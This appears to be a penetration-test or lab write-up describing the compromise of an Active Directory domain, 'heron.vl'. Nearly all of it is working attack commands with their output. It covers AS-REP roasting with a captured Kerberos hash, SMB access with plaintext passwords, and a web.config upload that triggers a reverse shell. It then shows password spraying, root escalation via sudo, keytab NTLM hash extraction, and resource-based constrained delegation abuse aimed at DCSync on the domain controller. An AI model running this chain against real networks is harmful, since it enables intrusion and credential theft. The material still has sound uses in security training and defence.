Nmap scan report for 10.10.231.37
PORT STATE SERVICE REASON
53/tcp open domain syn-ack
80/tcp open http syn-ack
88/tcp open kerberos syn-ack
135/tcp open epmap syn-ack
139/tcp open netbios-ssn syn-ack
389/tcp open ldap syn-ack
445/tcp open microsoft-ds syn-ack
464/tcp open kpasswd syn-ack
593/tcp open unknown syn-ack
636/tcp open ldaps syn-ack
3268/tcp open unknown syn-ack
3269/tcp open unknown syn-ack
3389/tcp open ms-wbt-server syn-ack
9389/tcp open unknown syn-ack
49664/tcp open unknown syn-ack
49667/tcp open unknown syn-ack
49669/tcp open unknown syn-ack
58818/tcp open unknown syn-ack
58838/tcp open unknown syn-ack
62422/tcp open unknown syn-ack
62440/tcp open unknown syn-ack
62483/tcp open unknown syn-ack
❯ impacket-GetNPUsers heron.vl/ -no-pass -usersfile users.txt -dc-ip 10.10.231.37 2>/dev/null
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[-] User amanda.williams doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User steven.thomas doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User vanessa.anderson doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User danielle.harrison doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User adam.harper doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User adam.matthews doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User wayne.wood doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User alice.hill doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User jane.richards doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User anthony.goodwin doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User jayne.johnson doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User katherine.howard doesn't have UF_DONT_REQUIRE_PREAUTH set
$krb5asrep$23$samuel.davies@HERON.VL:94d6c72b09d88f048c03de3309854f35$2d81f9c444f4761938f0cfa79d919dc974e2207eef980b0c2f39d073f16d0661a44f42bf85341630d959c8812ca7ee78de70bfc65d936591eefb22e28775cc4f73e4bd44197c511057954ad104cda16b92a30ea0d21a8ddaf381a6ae40f10237c1143b3c653587a3a9113f28b892d4451be2ba419c337d02e7d466b02ba150f72a5bda435424e3fe43341e035b7c6ac84da7d830dec39a44346bf9c5be905760a33bc6459cedd65e58e9ab4c0ebc230d5b4ecb530870b2033c04645a3ea1b034368a9e21f6bb78965699db9e61c9a0ba6a057191b5bc69d04014f4700ed6c4a77729868e
The tester discovered the user svc-web-accounting-d possesses Read and Write permission over Accounting$ share that is hosting the web configuration including web.config and revealed the presence of a new subdomain named accounting.
❯ smbclient '\\10.10.231.37\accounting$' -U 'svc-web-accounting-d%H3r0n2024#!'
Try "help" to get a list of possible commands.
smb: \> ls
. D 0 Thu Apr 24 15:40:06 2025
.. DHS 0 Sun Jun 2 11:26:14 2024
AccountingApp.deps.json A 37407 Sun Jun 2 15:25:26 2024
AccountingApp.dll A 89600 Sun Jun 2 15:25:26 2024
AccountingApp.exe A 140800 Sun Jun 2 15:25:26 2024
AccountingApp.pdb A 39488 Sun Jun 2 15:25:26 2024
AccountingApp.runtimeconfig.json A 557 Sat Jun 1 18:22:20 2024
appsettings.Development.json A 127 Sat Jun 1 18:00:54 2024
appsettings.json A 237 Sat Jun 1 18:03:50 2024
FinanceApp.db A 106496 Sat Jun 1 10:09:00 2024
Microsoft.AspNetCore.Authentication.Negotiate.dll A 53920 Wed Nov 1 05:08:26 2023
Microsoft.AspNetCore.Cryptography.Internal.dll A 52912 Mon May 20 08:23:52 2024
Microsoft.AspNetCore.Cryptography.KeyDerivation.dll A 23712 Mon May 20 08:23:56 2024
Microsoft.AspNetCore.Identity.EntityFrameworkCore.dll A 108808 Mon May 20 08:24:24 2024
Microsoft.Data.Sqlite.dll A 172992 Mon May 20 03:54:40 2024
Microsoft.EntityFrameworkCore.Abstractions.dll A 34848 Mon May 20 03:54:30 2024
Microsoft.EntityFrameworkCore.dll A 2533312 Mon May 20 03:55:04 2024
Microsoft.EntityFrameworkCore.Relational.dll A 1991616 Mon May 20 03:55:20 2024
Microsoft.EntityFrameworkCore.Sqlite.dll A 257456 Mon May 20 03:55:30 2024
Microsoft.Extensions.DependencyModel.dll A 79624 Tue Oct 31 18:59:24 2023
Microsoft.Extensions.Identity.Core.dll A 177840 Mon May 20 08:24:10 2024
Microsoft.Extensions.Identity.Stores.dll A 45232 Mon May 20 08:24:20 2024
Microsoft.Extensions.Options.dll A 64776 Thu Jan 18 06:05:26 2024
runtimes D 0 Sat Jun 1 10:51:32 2024
SQLitePCLRaw.batteries_v2.dll A 5120 Wed Aug 23 22:41:24 2023
SQLitePCLRaw.core.dll A 50688 Wed Aug 23 22:38:38 2023
SQLitePCLRaw.provider.e_sqlite3.dll A 35840 Wed Aug 23 22:38:52 2023
System.DirectoryServices.Protocols.dll A 71944 Tue Oct 31 19:00:24 2023
web.config A 554 Thu Jun 6 10:41:39 2024
wwwroot D 0 Sat Jun 1 10:51:32 2024
6261499 blocks of size 4096. 1961394 blocks available
smb: \>
The tester proceeded to upload a web.config as follows:
And finally, trigger the execution of the reverse shell.
❯ curl http://accounting.heron.vl/execute.now
Discovering _local user credentials
Performing Password Spraying attack
The tester proceeded to perform a password spraying attack using the previously found password, as the account appeared to be a service account, suggesting that some users may have the bad practice of reusing credentials.
During the home directory enumeration the tester discovered that the user Julian.Pratt had a shortcuts files.
❯ smbclient '\\10.10.231.37\home$' -U 'Julian.Pratt%Deplete5DenialDealt'
Try "help" to get a list of possible commands.
smb: \> cd Julian.Pratt
smb: \Julian.Pratt\> dir
. D 0 Sun Jun 2 06:47:14 2024
.. D 0 Sat Jun 1 11:10:46 2024
frajmp.lnk A 1443 Sun Jun 2 06:47:47 2024
Is there a way to -auto login- in PuTTY with a password- - Super User.url A 117 Sat Jun 1 11:44:44 2024
Microsoft Edge.lnk A 2312 Sat Jun 1 11:44:38 2024
mucjmp.lnk A 1441 Sun Jun 2 06:47:33 2024
6261499 blocks of size 4096. 1959823 blocks available
smb: \Julian.Pratt\> get frajmp.lnk
getting file \Julian.Pratt\frajmp.lnk of size 1443 as frajmp.lnk (2.2 KiloBytes/sec) (average 2.2 KiloBytes/sec)
smb: \Julian.Pratt\> get mucjmp.lnk
getting file \Julian.Pratt\mucjmp.lnk of size 1441 as mucjmp.lnk (2.2 KiloBytes/sec) (average 2.2 KiloBytes/sec)
smb: \Julian.Pratt\>
The files was analyzed revealing the adm_prju's password.
pentest@frajmp:~$ su _local
Password:
_local@frajmp:/home/pentest$ sudo -l
[sudo] password for _local:
Matching Defaults entries for _local on localhost:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
use_pty
User _local may run the following commands on localhost:
(ALL : ALL) ALL
_local@frajmp:/home/pentest$ sudo su
root@frajmp:/home/pentest#
Obtaining the NT Hash FRAJMP computer account
oot@frajmp:/home/pentest# python3 keytabextract.py /etc/krb5.keytab
[*] RC4-HMAC Encryption detected. Will attempt to extract NTLM hash.
[*] AES256-CTS-HMAC-SHA1 key found. Will attempt hash extraction.
[*] AES128-CTS-HMAC-SHA1 hash discovered. Will attempt hash extraction.
[+] Keytab File successfully imported.
REALM : HERON.VL
SERVICE PRINCIPAL : FRAJMP$/
NTLM HASH : 6f55b3b443ef192c804b2ae98e8254f7
AES-256 HASH : 7be44e62e24ba5f4a5024c185ade0cd3056b600bb9c69f11da3050dd586130e7
AES-128 HASH : dcaaea0cdc4475eee9bf78e6a6cbd0cd
root@frajmp:/home/pentest#
Compromising Domain Controller (Heron.vl)
During enumeration, the tester identified that the user ADM_PRJU@HERON.VL is a member of the group ADMINS_T1@HERON.VL, which has WriteAccountRestrictions privileges over the machine account MUCDC.HERON.VL.
This privilege enables the abuse of Resource-Based Constrained Delegation (RBCD) by modifying the msDS-AllowedToActOnBehalfOfOtherIdentity attribute. As a result, the tester successfully granted delegation rights to the computer account FRAJMP$, impersonated the MUCDC$ computer account, and compromised the domain controller via a DCSync attack.
Abusing RBCD to compromise domain controller
❯ impacket-rbcd -delegate-from 'FRAJMP$' -delegate-to 'MUCDC$' -action 'write' 'HERON.vl/adm_prju:ayDMWV929N9wAiB4'
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] Attribute msDS-AllowedToActOnBehalfOfOtherIdentity is empty
[*] Delegation rights modified successfully!
[*] FRAJMP$ can now impersonate users on MUCDC$ via S4U2Proxy
[*] Accounts allowed to act on behalf of other identity:
[*] FRAJMP$ (S-1-5-21-1568358163-2901064146-3316491674-27101)
Requesting TGT using S4U for MUCDC$
impacket-getST -spn 'cifs/mucdc.heron.vl' -impersonate 'MUCDC$' 'heron.vl/FRAJMP$' -hashes :6f55b3b443ef192c804b2ae98e8254f7 2>/dev/null
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[-] CCache file is not found. Skipping...
[*] Getting TGT for user
[*] Impersonating MUCDC$
[*] Requesting S4U2self
[*] Requesting S4U2Proxy
[*] Saving ticket in MUCDC$@cifs_mucdc.heron.vl@HERON.VL.ccache